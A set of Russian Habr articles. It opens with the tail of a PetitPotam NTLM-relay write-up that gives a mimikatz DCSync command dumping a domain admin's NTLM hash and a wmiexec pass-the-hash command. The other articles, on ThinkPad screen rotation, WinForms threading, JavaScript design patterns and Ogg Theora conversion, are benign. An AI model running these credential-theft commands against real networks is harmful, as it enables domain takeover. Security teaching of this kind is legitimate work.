можем использовать, чтобы аутентифицироваться на любом хосте в домене. С помощью него мы можем получить NTLM-хэш любого пользователя домена с контроллера домена. С помощью mimikatz сдампим NTLM-хэш пользователя adm, который является доменным администратором. ``` mimikatz # lsadump::dsync /domain:DEITERIY.LAB /user:adm ``` ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/201/9f5/45e/2019f545e70819ab432b7473fe9a2c00.jpeg)Шаг 6. Pass-the-hash -------------------- С помощью Pass-the-hash аутентифицируемся на любом хосте, например на контроллере домена. ``` wmiexec.exe -hashes :ntlm DEITERIY/adm@192.168.0.122 ``` ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/aa7/b34/69a/aa7b3469a06f858c7f556ffc25d6c4b6.jpeg)Заключение ---------- Вот таким образом за несколько действий можно повысить свои привилегии до администратора домена. Стоит отметить, что атаки, основанные на NTLM-relay, существуют давно, но атака PetitPotam выделяется на их фоне, так как не требует учетных данных и не требует взаимодействия пользователя для инициирования аутентификации контроллером домена на сервере злоумышленника. О мерах предосторожности, рекомендованных компанией Microsoft, можно прочитать по ссылке: <https://support.microsoft.com/en-gb/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429> В качестве дополнительных материалов рекомендую ознакомиться со статьями: * <https://posts.specterops.io/certified-pre-owned-d95910965cd2> * <https://blog.truesec.com/2021/08/05/from-stranger-to-da-using-petitpotam-to-ntlm-relay-to-active-directory/>
https://habr.com/ru/post/581758/
null
ru
null
# Кнопка для поворота экрана на X220 tablet Взамен убитого почти всусмерть X220i купил себе X220 tablet. Замечательная железка — ноутбук с вращающимся экраном, тачскрином и пером (которое понимает «силу нажатия»). Однако, увы, часть хардварных кнопок (в т.ч. на вращающемся экране) не работала. Одна из них — кнопка поворота (на фотографии). Очень полезна для перевода ноутбука в «readmode» (c книжно-портретной ориентацией). ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/ebe/f15/0f6/ebef150f6f7572c7b2ea4a4022f73908.jpg) Что мы хотим? * По нажатию поворачивать картинку на 90° * По повторному нажатию возвращать обратно * Поворачивать восприятие всех тачскринов (обнаружилось в ходе отладки решения) * (upd) отключаем тачпад — он иногда срабатывает на перевёрнутую крышку Под катом — вариант решения и ссылки на использованные материалы. Если вы будете адаптировать под своё железо — учтите следующие моменты: * Определение поворота в скрипте сделано халтурно — довольно грубый греп по выводу xrandr. * keycode для вашей кнопки может быть другой * Название тач-устройств может быть другим Для начала ставим пакет xkeybind, который позволит нам вешать на произвольные кнопки произвольные программы: `apt-get install xkeybind` Далее, пишем скрипт поворота экрана, он делает три вещи после определения текущего положения экрана: поворачивает экран, поворачивает ориентацию тачскрина, выключает или включает тачпад (по номеру). ``` #!/bin/bash rotation=`xrandr -q | fgrep "left (" ` if [ $? == 1 ] ; then xrandr -o left xsetwacom --set "Wacom ISDv4 E6 Pen stylus" Rotate ccw xsetwacom --set "Wacom ISDv4 E6 Finger touch" Rotate ccw xsetwacom --set "Wacom ISDv4 E6 Pen eraser" Rotate ccw xinput set-prop 13 "Device Enabled" 0 else xrandr -o normal xsetwacom --set "Wacom ISDv4 E6 Pen stylus" Rotate normal xsetwacom --set "Wacom ISDv4 E6 Finger touch" Rotate normal xsetwacom --set "Wacom ISDv4 E6 Pen eraser" Rotate normal xinput set-prop 13 "Device Enabled" 1 fi ``` Примечания: * как я и предупреждал, греп очень халтурный * Список устойств можно посмотреть с помощью xsetwacom --list * left=ccw, если захотите поворачивать в right, то тогда cw * Список устройств можно посмотреть в xinput --list Я этот скрипт назвал /usr/local/bin/rotate. Не забываем про chmod +x на него. Далее — пишем конфиг для xbindkeys: 1. Делаем touch ~/.xbindkeysrc (у xbindkeys мелкий баг — в отсутствие конфига -k не работает). 2. Запускаем xbindkey -k. Получаем окно, в котором надо нажать нужную нам кнопку — на выходе будет строчка, которую нужно отдать xbindkeys, чтобы запустить программу по нажатию кнопки. Этот путь у меня оказался самым эффективным, хоть и начал я с магических setkeys, сканкодов, кейкодов и т.д. 3. Вписываем в конфиг (~/.xbindkeys): ``` "rotate" m:0x0 + c:161 ``` (понятно, что для разных устройств вторая строчка будет разной) 4. Запускаем xkbindkeys, проверяем, что работает. 5. Прописываем запуск xbindkeys в ~/.xsession 6. PROFIT??? (см картинку в начале поста) ссылки ====== * man setkeycodes * [en.gentoo-wiki.com/wiki/Multimedia\_Keys](http://en.gentoo-wiki.com/wiki/Multimedia_Keys) * [wiki.linuxquestions.org/wiki/List\_of\_Keysyms\_Recognised\_by\_Xmodmap](http://wiki.linuxquestions.org/wiki/List_of_Keysyms_Recognised_by_Xmodmap) * [www.thinkwiki.org/wiki/Tablet\_Hardware\_Buttons](http://www.thinkwiki.org/wiki/Tablet_Hardware_Buttons) * [www.ultimateeditionoz.com/forum/viewtopic.php?t=3796](https://www.ultimateeditionoz.com/forum/viewtopic.php?t=3796) * [blog.gammal.org/2006/06/screen-rotation-using-xrandr.html](http://blog.gammal.org/2006/06/screen-rotation-using-xrandr.html)
https://habr.com/ru/post/105219/
null
ru
null
# Windows Forms & Invoke from parallel threads При переделке старой формы столкнулся с забавной проблемой. Задача – классическая: вывести пользователю информацию о происходящем в фоне процессе. Казалось бы, ничего сложного. В основной форме мы стартуем поток, в нем проводим обработку данных, при получении новых статусов – сбрасываем обновление на форму, проводя синхронизацию с базовым UI Thread (Invoke / BeginInvoke call). И все хорошо до момента, пока наш background поток не попытается создать еще один-два-… Которым делегирует дополнительную работу в рамках задачи. Вот с этими-то новыми потоками и начинается чехарда… Итак, первый поток получил текст для обновления, этот текст будем выводить на форму. ![](https://habrastorage.org/r/w780q1/files/110/02c/8db/11002c8db20545a39cdaed14a3c1df36.jpg) ``` private delegate void EditStatusTextDelegate(string strArg); private void SendNotificationToForm( string actionText ) { if (this.InvokeRequired) { this.Invoke(new EditStatusTextDelegate(UpdateUI), new object[] { actionText }); return; } UpdateUI(actionText); } private void UpdateUI(actionText) { this.LabelInfo.Text = actionText; } ``` или ``` private void SendNotificationToForm( string actionText ) { this.BeginInvoke((Action)(() => { this.LabelInfo.Text = actionText; })); } ``` В рамках одного потока это работает – сообщения приходят, форма их получает, данные обновляются. При добавлении же еще нескольких, наша функция SendNotificationToForm начинает вести не совсем так, как ожидалось. Сообщения приходят и форма их получат, вот только складывает их в очередь для обновления контента и пока ваши background потоки не закончат работу, не спешит выводить на экран. И чем более сложной задачей заняты вы в других потоках, тем нагляднее это проявляется. Причем в реальном коде вам наверняка надо будет не только один Label изменить, вполне возможно, что набор данных для смены визуализации будет куда как более сложным. ![](https://habrastorage.org/r/w780q1/files/e76/459/ad6/e76459ad6bba4e29baea7cad693eee7e.jpg) Официальная документация на эту тему упорно говорит про InfokeRequired & BeginInvoke. Но на самом деле, в нашем случае придется отказаться от «обычного метода» и перейти к ручному управлению контекстом синхронизации. Так как нам нужно, чтобы обновления произошли в момент прихода данных на форму, то и придется провести «ручную синхронизацию». Для этого – после создания формы (когда контекст уже создан и проинициализирован) – запомнить его: ``` Fields: private readonly SynchronizationContext syncContext; Constructor: syncContext = SynchronizationContext.Current; ``` И теперь уже в нашем callback из другого потока выполним команду: ``` private void SendNotificationToForm( string actionText ) { syncContext.Post( UpdateUI, actionText); } private void UpdateUI(actionText) { this.LabelInfo.Text = actionText; } ``` В этом случае – мы принудительно провели синхронизацию данных для формы и заставили основной UI Thread обработать полученную информацию. С точки зрения проблемы – решение простейшее, но эффективное. Но оно дает гарантию, что теперь пользователь увидит на форме всю информацию от работающих потоков, а не только часть данных от первого.
https://habr.com/ru/post/242937/
null
ru
null
# Паттерны проектирования в JavaScript Автор материала, перевод которого мы публикуем, говорит, что, начиная проект, к написанию кода приступают не сразу. В первую очередь определяют цель и границы проекта, затем — выявляют те возможности, которыми он должен обладать. Уже после этого либо сразу пишут код, либо, если речь идёт о достаточно сложном проекте, подбирают подходящие паттерны проектирования, которые ложатся в его основу. Этот материал посвящён паттернам проектирования в JavaScript. Он рассчитан, преимущественно, на начинающих разработчиков. [![](https://habrastorage.org/r/w780q1/webt/zv/zk/by/zvzkbyrzatcp3w-qda0bfcopljq.jpeg)](https://habr.com/company/ruvds/blog/427293/) Что такое паттерн проектирования? --------------------------------- В сфере разработки программного обеспечения [паттерн](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F) проектирования (design pattern) — это повторяемая архитектурная конструкция, представляющая собой решение проблемы проектирования в рамках некоторого часто возникающего контекста. Паттерны проектирования представляют собой обобщение опыта профессиональных разработчиков ПО. Паттерн проектирования можно рассматривать как некий шаблон, в соответствии с которым пишут программы. Зачем нужны паттерны проектирования? ------------------------------------ Многие программисты либо думают, что паттерны проектирования — это пустая трата времени, либо просто не знают о том, как применять их правильно. Однако использование подходящего паттерна может помочь в написании более качественного и понятного кода, который, за счёт понятности, легче будет поддерживать. Самое важное здесь, пожалуй, то, что применение паттернов даёт разработчикам ПО нечто вроде словаря общеизвестных терминов, которые весьма полезны, например, при разборе чужого кода. Паттерны раскрывают предназначение тех или иных фрагментов программы для тех, кто пытается разобраться с устройством какого-нибудь проекта. Например, если вы используете паттерн «Декоратор», это тут же сообщит новому программисту, пришедшему в проект, о том, какие именно задачи решает некий фрагмент кода и зачем он нужен. Благодаря этому такой программист сможет больше времени уделить практическим задачам, которые решает программа, а не попыткам понять её внутреннее устройство. Теперь, когда мы разобрались с тем, что такое паттерны проектирования, и с тем, для чего они нужны, перейдём, собственно, к паттернам и к описанию их реализации с использованием JavaScript. Паттерн «Модуль» ---------------- Модуль — это самостоятельный фрагмент кода, который можно изменять, не затрагивая другой код проекта. Модули, кроме того, позволяют избегать такого явления, как загрязнение областей видимости, благодаря тому, что они создают отдельные области видимости для объявляемых в них переменных. Модули, написанные для одного проекта, можно повторно использовать в других проектах, в том случае, если их механизмы универсальны и не привязаны к особенностям конкретного проекта. Модули — это составная часть любого современного JavaScript-приложения. Они помогают поддерживать чистоту кода, способствуют разделению кода на осмысленные фрагменты и помогают его организовывать. В JavaScript существует множество способов создания модулей, одним из которых является паттерн «Модуль» (Module). В отличие от других языков программирования, JavaScript не имеет модификаторов доступа. То есть, переменные нельзя объявлять как приватные или публичные. В результате паттерн «Модуль» используется ещё и для эмуляции концепции инкапсуляции. Этот паттерн использует IIFE (Immediately-Invoked Functional Expression, немедленно вызываемое функциональное выражение), замыкания и области видимости функций для имитации этой концепции. Например: ``` const myModule = (function() {  const privateVariable = 'Hello World';  function privateMethod() {    console.log(privateVariable);  }  return {    publicMethod: function() {      privateMethod();    }  } })(); myModule.publicMethod(); ``` Так как перед нами IIFE, код выполняется немедленно и возвращаемый выражением объект назначается константе `myModule`. Благодаря тому, что тут имеется замыкание, у возвращённого объекта есть доступ к функциям и переменным, объявленных внутри IIFE, даже после завершения работы IIFE. В результате переменные и функции, объявленные внутри IIFE, скрыты от механизмов, находящихся во внешней по отношению к ним области видимости. Они оказываются приватными сущностями константы `myModule`. После того, как этот код будет выполнен, `myModule` будет выглядеть следующим образом: ``` const myModule = {  publicMethod: function() {    privateMethod();  }}; ``` То есть, обращаясь к этой константе, можно вызвать общедоступный метод объекта `publicMethod()`, который, в свою очередь, вызовет приватный метод `privateMethod()`. Например: ``` // Выводит 'Hello World' module.publicMethod(); ``` Паттерн «Открытый модуль» ------------------------- Паттерн «Открытый модуль» (Revealing Module) представляет собой немного улучшенную версию паттерна «Модуль», которую предложил Кристиан Хейльманн. Проблема паттерна «Модуль» заключается в том, что нам приходится создавать публичные функции только для того, чтобы обращаться к приватным функциям и переменным. В рассматриваемом паттерне мы назначаем свойствам возвращаемого объекта приватные функции, которые хотим сделать общедоступными. Именно поэтому данный паттерн и называют «Открытый модуль». Рассмотрим пример: ``` const myRevealingModule = (function() {  let privateVar = 'Peter';  const publicVar  = 'Hello World';  function privateFunction() {    console.log('Name: '+ privateVar);  }  function publicSetName(name) {    privateVar = name;  }  function publicGetName() {    privateFunction();  }  /** открываем функции и переменные, назначая их свойствам объекта */ return {    setName: publicSetName,    greeting: publicVar,    getName: publicGetName  }; })(); myRevealingModule.setName('Mark'); // Выводит Name: Mark myRevealingModule.getName(); ``` Применение этого паттерна упрощает понимание того, какие функции и переменные модуля общедоступны, что способствует улучшению читабельности кода. После выполнения IIFE `myRevealingModule` выглядит так: ``` const myRevealingModule = {  setName: publicSetName,  greeting: publicVar,  getName: publicGetName }; ``` Мы можем, например, вызвать метод `myRevealingModule.setName('Mark')`, который представляет собой ссылку на внутреннюю функцию `publicSetName`. Метод `myRevealingModule.getName()` ссылается на внутреннюю функцию `publicGetName`. Например: ``` myRevealingModule.setName('Mark'); // выводит Name: Mark myRevealingModule.getName(); ``` Рассмотрим преимущества паттерна «Открытый модуль» перед паттерном «Модуль»: * «Открытый модуль» позволяет делать общедоступными скрытые сущности модуля (и снова скрывать их, если нужно), модифицируя, для каждой из них, лишь одну строку в объекте, возвращаемом после выполнения IIFE. * Возвращаемый объект не содержит определения функций. Всё, что находится справа от имён его свойств, определено в IIFE. Это способствует чистоте кода и упрощает его чтение. Модули в ES6 ------------ До выхода стандарта ES6 в JavaScript не было стандартного средства для работы с модулями, в результате разработчикам приходилось использовать сторонние библиотеки или паттерн «Модуль» для реализации соответствующих механизмов. Но с приходом ES6 в JavaScript появилась стандартная система модулей. Модули ES6 хранятся в файлах. Один файл может содержать лишь один модуль. Всё, что находится внутри модуля, по умолчанию является приватным. Функции, переменные и классы можно делать публичными с использованием ключевого слова `export`. Код внутри модуля всегда выполняется в строгом режиме. ### ▍Экспорт модуля Есть два способа экспорта функции или переменной, объявленной в модуле: * Экспорт выполняется путём добавления ключевого слова `export` перед объявлением функции или переменной. Например: ``` // utils.js export const greeting = 'Hello World'; export function sum(num1, num2) {  console.log('Sum:', num1, num2);  return num1 + num2; } export function subtract(num1, num2) {  console.log('Subtract:', num1, num2);  return num1 - num2; } // Это - приватная функция function privateLog() {  console.log('Private Function'); } ``` * Экспорт выполняется путём добавления ключевого слова `export` в конец кода с перечислением имён функций и переменных, которые нужно экспортировать. Например: ``` // utils.js function multiply(num1, num2) {  console.log('Multiply:', num1, num2);  return num1 * num2; } function divide(num1, num2) {  console.log('Divide:', num1, num2);  return num1 / num2; } // Это приватная функция function privateLog() {  console.log('Private Function'); } export {multiply, divide}; ``` ### ▍Импорт модуля Так же, как существуют два способа экспорта, есть и два способа импорта модулей. Делается это с использованием ключевого слова `import`: * Импорт нескольких избранных элементов. Например: ``` // main.js // Импорт нескольких избранных элементов import { sum, multiply } from './utils.js'; console.log(sum(3, 7)); console.log(multiply(3, 7)); ``` * Импорт всего, что экспортирует модуль. Например: ``` // main.js // импорт всего, что экспортирует модуль import * as utils from './utils.js'; console.log(utils.sum(3, 7)); console.log(utils.multiply(3, 7)); ``` ### ▍Псевдонимы для экспортируемых и импортируемых сущностей Если имена экспортируемых в код функций или переменных могут вызвать коллизию, их можно изменить при экспорте или при импорте. Для переименования сущностей при экспорте можно поступить так: ``` // utils.js function sum(num1, num2) {  console.log('Sum:', num1, num2);  return num1 + num2; } function multiply(num1, num2) {  console.log('Multiply:', num1, num2);  return num1 * num2; } export {sum as add, multiply}; ``` Для переименования сущностей при импорте используется такая конструкция: ``` // main.js import { add, multiply as mult } from './utils.js'; console.log(add(3, 7)); console.log(mult(3, 7)); ``` Паттерн «Синглтон» ------------------ Паттерн «Синглтон» или «Одиночка» (Singleton) представляет собой объект, который может существовать лишь в единственном экземпляре. В рамках применения этого паттерна новый экземпляр некоего класса создаётся в том случае, если он пока не создан. Если же экземпляр класса уже существует, то, при попытке обращения к конструктору, возвращается ссылка на соответствующий объект. Последующие вызовы конструктора всегда будут возвращать тот же самый объект. Фактически, то, что мы называем паттерном «Синглтон», имелось в JavaScript всегда, но называют это не «Синглтоном», а «объектным литералом». Рассмотрим пример: ``` const user = {  name: 'Peter',  age: 25,  job: 'Teacher',  greet: function() {    console.log('Hello!');  } }; ``` Так как каждый объект в JavaScript занимает собственную область памяти и не делит её с другими объектами, всякий раз, когда мы обращаемся к переменной `user`, мы получаем ссылку на один и тот же объект. Паттерн «Синглтон» можно реализовать с использованием функции-конструктора. Выглядит это так: ``` let instance = null; function User(name, age) {  if(instance) {    return instance;  }  instance = this;  this.name = name;  this.age = age;  return instance; } const user1 = new User('Peter', 25); const user2 = new User('Mark', 24); // выводит true console.log(user1 === user2); ``` Когда вызывается функция-конструктор, она, в первую очередь, проверяет, существует ли объект `instance`. Если соответствующая переменная не инициализирована, в `instance` записывают `this`. Если же в переменной уже есть ссылка на объект, конструктор просто возвращает `instance`, то есть — ссылку на уже существующий объект. Паттерн «Синглтон» можно реализовать с использованием паттерна «Модуль». Например: ``` const singleton = (function() {  let instance;  function User(name, age) {    this.name = name;    this.age = age;  }  return {    getInstance: function(name, age) {      if(!instance) {        instance = new User(name, age);      }      return instance;    }  } })(); const user1 = singleton.getInstance('Peter', 24); const user2 = singleton.getInstance('Mark', 26); // prints true console.log(user1 === user2); ``` Здесь мы создаём новый экземпляр `user`, вызывая метод `singleton.getInstance()`. Если экземпляр объекта уже существует, то этот метод просто возвратит его. Если же такого объекта пока нет, метод создаёт его новый экземпляр, вызывая функцию-конструктор `User`. Паттерн «Фабрика» ----------------- Паттерн «Фабрика» (Factory) использует для создания объектов так называемые «фабричные методы». При этом не требуется указывать классы или функции-конструкторы, которые применяются для создания объектов. Этот паттерн используется для создания объектов в случаях, когда не нужно делать общедоступной логику их создания. Паттерн «Фабрика» может быть использован в том случае, если нужно создавать различные объекты в зависимости от специфических условий. Например: ``` class Car{  constructor(options) {    this.doors = options.doors || 4;    this.state = options.state || 'brand new';    this.color = options.color || 'white';  } } class Truck {  constructor(options) {    this.doors = options.doors || 4;    this.state = options.state || 'used';    this.color = options.color || 'black';  } } class VehicleFactory {  createVehicle(options) {    if(options.vehicleType === 'car') {      return new Car(options);    } else if(options.vehicleType === 'truck') {      return new Truck(options);      }  } } ``` Здесь созданы классы `Car` и `Truck`, которые предусматривают использование неких стандартных значений. Они применяются для создания объектов `car` и `truck`. Также здесь объявлен класс `VehicleFactory`, который используется для создания новых объектов на основе анализа свойства `vehicleType`, передаваемого соответствующему методу возвращаемого им объекта в объекте с параметрами `options`. Вот как со всем этим работать: ``` const factory = new VehicleFactory(); const car = factory.createVehicle({  vehicleType: 'car',  doors: 4,  color: 'silver',  state: 'Brand New' }); const truck= factory.createVehicle({  vehicleType: 'truck',  doors: 2,  color: 'white',  state: 'used' }); // Выводит Car {doors: 4, state: "Brand New", color: "silver"} console.log(car); // Выводит Truck {doors: 2, state: "used", color: "white"} console.log(truck); ``` Здесь создан объект `factory` класса `VehicleFactory`. После этого можно создавать объекты классов `Car` или `Truck`, вызывая метод `factory.createVehicle()` и передавая ему объект `options` со свойством `vehicleType`, установленным в значение `car` или `truck`. Паттерн «Декоратор» ------------------- Паттерн «Декоратор» (Decorator) используется для расширения функционала объектов без модификации существующих классов или функций-конструкторов. Этот паттерн можно использовать для добавления к объектам неких возможностей без модификации кода, который ответственен за их создание. Вот простой пример использования этого паттерна: ``` function Car(name) {  this.name = name;  // Значение по умолчанию  this.color = 'White'; } // Создание нового объекта, который планируется декорировать const tesla= new Car('Tesla Model 3'); // Декорирование объекта - добавление нового функционала tesla.setColor = function(color) {  this.color = color; } tesla.setPrice = function(price) {  this.price = price; } tesla.setColor('black'); tesla.setPrice(49000); // Выводит black console.log(tesla.color); ``` Рассмотрим теперь практический пример применения этого паттерна. Предположим, стоимость автомобилей зависит от их особенностей, от имеющихся у них дополнительных функций. Без использования паттерна «Декоратор» нам, для описания этих автомобилей, пришлось бы создавать разные классы для разных комбинаций этих дополнительных функций, в каждом из которых присутствовал бы метод для нахождения стоимости автомобиля. Например, это может выглядеть так: ``` class Car() { } class CarWithAC() { } class CarWithAutoTransmission { } class CarWithPowerLocks { } class CarWithACandPowerLocks { } ``` Благодаря рассматриваемому паттерну можно создать базовый класс `Car`, описывающий, скажем, автомобиль в базовой комплектации, стоимость которого выражается некоей фиксированной суммой. После этого стандартный объект, создаваемый на основе этого класса, можно расширять с использованием функций-декораторов. Стандартный «автомобиль», обработанный такой функцией, получает новые возможности, что, кроме того, влияет на его цену. Например, эту схему можно реализовать так: ``` class Car {  constructor() {  // Базовая стоимость  this.cost = function() {  return 20000;  } } } // Функция-декоратор function carWithAC(car) {  car.hasAC = true;  const prevCost = car.cost();  car.cost = function() {    return prevCost + 500;  } } // Функция-декоратор function carWithAutoTransmission(car) {  car.hasAutoTransmission = true;   const prevCost = car.cost();  car.cost = function() {    return prevCost + 2000;  } } // Функция-декоратор function carWithPowerLocks(car) {  car.hasPowerLocks = true;  const prevCost = car.cost();  car.cost = function() {    return prevCost + 500;  } } ``` Здесь мы сначала создаём базовый класс `Car`, используемый для создания объектов, представляющих автомобили в стандартной комплектации. Затем создаём несколько функций-декораторов, которые позволяют расширять объекты базового класса `Car` дополнительными свойствами. Эти функции принимают соответствующие объекты в качестве параметров. После этого мы добавляем в объект новое свойство, указывающее на то, какой новой возможностью будет оснащён автомобиль, и переопределяем функцию `cost` объекта, которая теперь возвращает новую стоимость автомобиля. В результате, для того, чтобы «оснастить» автомобиль стандартной конфигурации чем-то новым, мы можем воспользоваться следующей конструкцией: ``` const car = new Car(); console.log(car.cost()); carWithAC(car); carWithAutoTransmission(car); carWithPowerLocks(car); ``` После этого можно узнать стоимость автомобиля в улучшенной комплектации: ``` // Нахождение стоимости автомобиля с учётом улучшений console.log(car.cost()); ``` Итоги ----- В этом материале мы разобрали несколько паттернов проектирования, используемых в JavaScript, но, на самом деле, за рамками нашего разговора осталось ещё очень много паттернов, которые могут применяться для решения широкого круга задач. В то время как знание различных паттернов проектирования важно для программиста, не менее важно и их уместное использование. Зная о паттернах и о сфере их применения, программист, анализируя стоящую перед ним задачу, может понять, какой именно паттерн способен помочь её решить. **Уважаемые читатели!** Какими паттернами проектирования вы пользуетесь чаще всего? [![](https://habrastorage.org/r/w1560/files/1ba/550/d25/1ba550d25e8846ce8805de564da6aa63.png)](https://ruvds.com/ru-rub/#order)
https://habr.com/ru/post/427293/
null
ru
null
# Конвертирование видео в Ogg Theora. UNIX Way Прежде чем приступить к практике, зададимся некоторыми весьма интересными вопросами: почему консоль, зачем использовать видеокодек Ogg Theora, каким образом и с какими параметрами лучше конвертировать видео. Начнём с матчасти: > Видеокодек — это программа/алгоритм сжатия (то есть уменьшения размера) видеоданных (видеофайла, видеопотока). Кодек — файл-формула, которая определяет, каким образом можно «упаковать» видеоконтент и, соответственно, проиграть видео. Также возможно кодирование кроме видео и аудиоинформации, добавления субтитров, векторных эффектов и т. п. На сегодняшний день, самые популярные видеокодеки — это знакомые всем DivX, XviD, H.264, WMV, Apple QuickTime и множество других. Ogg Theora всегда была в тени своих коллег и на то, видимо, были какие-то свои причины. Может быть потому, что это относительно новый кодек (он появился только в 2004-м году), может потому-что он изначально ориентировался на применение в интернете, а не для кодирования видеофильмов… Это уже не важно. * Theora — это открытый и бесплатный видеокодек для коммерческого и некоммерческого использования. * Theora использует высококачественные алгоритмы сжатия, что делает этот кодек хорошим выбором для кодирования любого типа видео. * Theora идеально подходит для потокового видео в интернете, итоговые размер/качество оставляют далеко позади всех конкурентов. * Theora кроссплатформенна. Это означает, что вы можете использовать формат в любой современной операционной системе, как в Linux, так и в Windows. * Каждый современный Linux-дистрибутив поддерживает Theora по-умолчанию. Вам не придётся использовать сторонние проприетарные кодеки для просмотра видео в этом формате. Вот основные причины для использования Ogg Theora. Но привычка — великая сила и стандартными кодеками, на сегодняшний день, являются DivX и XviD. Для высококачественного кодирования используют обычно H.264. Когда вы скачиваете из интернета фильм, будьте уверены — скорее всего он сжат одним из этих трёх кодеков. Кто виноват и что делать? Все эти кодеки закрытые, запатентованые и платные. Что-то мне подсказывает, что их владельцы получают неплохие отчисления от каждого проданного бытового плеера. Есть уйма причин, по которым Theora является более предпочтительным выбором. И начать улучшать мир можно с малого — перевести свою видеотеку в свободный формат OGV — Ogg Vorbis Video. Используя Линукс, нам доступно очень мощное средство — консоль bash. С её помощью можно творить чудеса и сложнейшие операции делать за считанные минуты. Это же касается и конвертирования видео. Чтобы начать, нам понадобится только одна консольная утилитка — [ffmpeg2theora](http://v2v.cc/~j/ffmpeg2theora/). Не буду описывать как её установить. Если вы используете Линукс, то уже умеете устанавливать любые программы штатным менеджером пакетов. Поэтому сразу перейдём к сути. #### Пример 1. Конвертирование «авишки». Для примера давайте переконвертируем одну серию моего любимого сериала «Теория Большого Взрыва». Так что открываем консоль. Переходим в папку с файлом: `$ cd ~/Downloads/` Выбираем оптимальные опции для нединамичного видео и нормального звука: `$ ffmpeg2theora -v 8 --optimize -a 4 -o test.ogv The.Big.Bang.Theory.S03E17.rus.HDTVrip.\[Kuraj-Bambey.Ru\].avi` Давайте разберём что же тут такое понаписано. ffmpeg2theora — понятно, это сама программа. Далее идут её опции-ключи: **-v** указывает на желаемое качество видео по шкале от одного до десяти. 8-го уровня вполне достаточно для перекодирования уже сжатого видео. Если фильм насыщен динамичными сценами, то лучше указать по максимуму, то есть 10. **--optimize**, как нетрудно догадаться, оптимизирует качество картинки, правда в ущерб скорости конвертирования. Но спешить нам особо некуда, качество важнее. **-a** указывает на желаемое качество звука, также по десятибальной шкале. Цифра 4 означает на деле 128 кбит, чего вполне достаточно для сериала. Можно также указать ключ -A с параметром 128. Одно и то же получается. После **-o** мы указываем имя файла на выходе, к примеру test.ogv (**ogv** — это стандартное расширение для видео в формате ogg). А в самом конце указываем файл, который, собственно хотим переконвертировать. Жмём Enter и следим за результатом. Или не следим, так как процесс длится довольно долго, это зависит от мощности компьютера. #### Пример 2. Конвертирование DVD. Здесь всё несколько сложнее, но ненамного. Сжимать уже сжатое видео иногда всё-таки чревато ощутимыми потерями качества картинки. А вот DVDRip в формате Theora по качеству лучше привычного всем DivX. Для примера давайте «рипнем» фильм «Матрица». Переходим в папку с файлом: `$ cd ~/Downloads/Matrix/VIDEO_TS/` Выбираем оптимальные опции в расчёте на исходный файл размером 1,4 гигабайта: `$ cat VTS_01_1.VOB VTS_01_2.VOB VTS_01_3.VOB VTS_01_4.VOB VTS_01_5.VOB | ffmpeg2theora --videobitrate 1434 --optimize --first-pass tech.ogv --audiobitrate 256 - && cat VTS_01_1.VOB VTS_01_2.VOB VTS_01_3.VOB VTS_01_4.VOB VTS_01_5.VOB | ffmpeg2theora --videobitrate 1434 --optimize --second-pass tech.ogv --audiobitrate 256 -o matrix.ogv -` Давайте разоблачим магию этого заклинания. Здесь мы сталкиваемся с мощнейшей штукой консоли под названием «перенаправление потоков». Это выходит за рамки данной статьи, но можно увидеть, что до команды ffmpeg2theora мы выстраиваем список файлов на конвертирование. DVD всегда разбито на части вида VTS\_порядковый-номер\_порядковый-номер, поэтому нам нужно собрать их воедино. **cat** занимается сложением файлов. **|** — это символ перенаправления, в нашем случае даёт очередь файлов на обработку программе ffmpeg2theora. **--videobitrate** указывает на желаемое качество видео, как и ключ **-v**, но не по шкале от одного до десяти, а точно в килобитах. Синоним ключа **-V**. **--first-pass-pass** означает первый, технический прогон видео и сохранение аналитической информации в файл tech.ogv для будущей основы второго, финального прогона видео. **--audiobitrate** указывает на качество звука в килобитах. Синоним ключа **-A**. **&&** — это как команда сложения. Сразу после первой программы выполнить вторую. Просто для автоматизации производства :) **--second-pass** — второй прогон. В это время применяются алгоритмы и происходит непосредственное кодирование видеоряда. Для этого используется подготовленный во время первого, «аналитического» прохода, технический файл tech.ogv. В конце команды ставится **-**, это указывает конвертору на входящий поток файлов для обработки. Жмём Enter и ждём-ждём-ждём. Ждать придётся долго. Пока ждём, давайте узнаем откуда взялись цифры 1434 и 256. С 256 всё просто. Это 256 кбит на звук, что порядочно даже для мюзикла :) Видеобитрейт вычисляется по формуле: **BV=(Sx8x1024)/L-BA**, где BV — видеобитрейт; S — желаемый размер файла в мегабайтах; L — длительность фильма в секундах; BA — аудиобитрейт. Важно уточнить, что это чистый битрейт, без так называемой избыточной технической информации, которая составляет около одного процента от битрейта видео. То есть реальный битрейт, который необходимо указать кодировщику — это 99% от BV. Вот и получаются те самые 1434 килобита. Я захотел, чтобы исходный файл занимал именно 1,4 гигабайта. Результат несложных вычислений дал желаемый результат. Если точный размер файла не имеет значения, можно просто указать ключ -v с параметром 8, 9 или 10. Это даст высокое качество картинки без лишних заморочек. В любом случае поиграйтесь с настройками, так как для каждого видео параметры подбираются индивидуально, это зависит от динамики картинки, полутонов и т.п. Процесс, как видите, несложный и гибкий. Конечно, перевод всей домашней видеотеки займёт много времени, но понемногу, по чуть-чуть можно начинать. В формате Ogg Theora мной обнаружен только один недостаток, для многих он покажется существенным — отсутствие поддержки со стороны производителей бытовой техники. Да, ваш dvd-плеер, скорее всего, не сможет воспроизвести Ogg. Но ведь спрос рождает предложение, верно? Если формат станет популярным, наверняка производители обратят на него внимание. Качество картинки будет радовать глаз и настанет мир во всём мире :) Всё в наших руках. *P.S. Буду чрезвычайно признателен за любые конструктивные замечания и уточнения по данной статье.*
https://habr.com/ru/post/91963/
null
ru
null
